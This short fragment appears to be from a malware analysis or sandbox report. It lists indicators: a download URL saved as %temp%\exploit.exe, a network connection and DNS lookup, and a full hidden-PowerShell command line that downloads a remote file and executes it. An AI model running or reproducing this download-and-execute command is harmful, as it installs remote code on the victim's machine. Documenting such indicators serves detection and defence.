Technical Information
- https://lol.com/lol.js as %temp%\exploit.exe
- 'lo#.com':443
- DNS ASK lo#.com
- '<SYSTEM32>\cmd.exe' /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://lol.com/lol.js','%temp%\exploit.exe');Start-Process '%temp%\exploit.exe'